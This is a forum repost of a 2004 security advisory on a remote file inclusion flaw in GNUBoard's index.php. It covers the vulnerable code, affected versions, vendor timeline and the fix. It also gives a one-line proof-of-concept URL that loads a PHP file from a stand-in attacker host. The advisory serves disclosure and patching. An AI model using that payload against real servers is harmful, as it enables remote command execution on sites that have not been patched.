发新话题
打印

[转载]GNUBoard PHP injection vulnerability

[转载]GNUBoard PHP injection vulnerability

信息来源:SSR Team

Summary
========
GNUBoard is one of widely used web BBS applications in Korea. Because of an
input validation flaw, a malicious attack can run arbitrary commands with
the privilege of the HTTPD process, which is typically run as the nobody
user.


Vulnerability Class
===================
Implementation Error: Input validation flaw


Impact
======
High : arbitrary command execution.


Affected Products
================
GNUBoard 3.39 and prior versions
php.ini : register_globals = On


Vendor Status: FIXED
====================
2004-12-06 Vulnerability found.
2004-12-06 GNUBoard developer notified.
2004-12-06 GNUBoard 3.40 is released.
2004-12-14 Official release.


Details
=======
For improper verification of input value of the parameter, the "doc"
parameter in "index.php" can be exploited to include arbitrary files of
external or local resources to execute arbitary commands.


index.php
- - ----
if (!$doc) { (1) <-- check point
   $doc = &#39;./main.php&#39;;
}


// php ??? ??? ??? ? ??
$tmp = explode(".", $doc);
$extension = $tmp[count($tmp)-1];
if (!preg_match("/^(php[3]?|[p]?htm[l]?)$/i", $extension) || count($tmp)<=1)
{
   echo "php php3 htm html phtml ??? ??? ? ????.";
   exit;
}
......
ob_start();
include $doc; (2) <-- include point
- - ----


Proof of concept :
http://[victim]/gnu3/index.php?doc=http://[attacker]/[attack].php


Solution
=========
Update to 3.40
http://sir.co.kr/?doc=bbs/gnuboa ... ge=1&wr_id=1871


Vendor URL
==========
http://www.sir.co.kr/


Credits
======
Jeremy Bae at STG Security
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题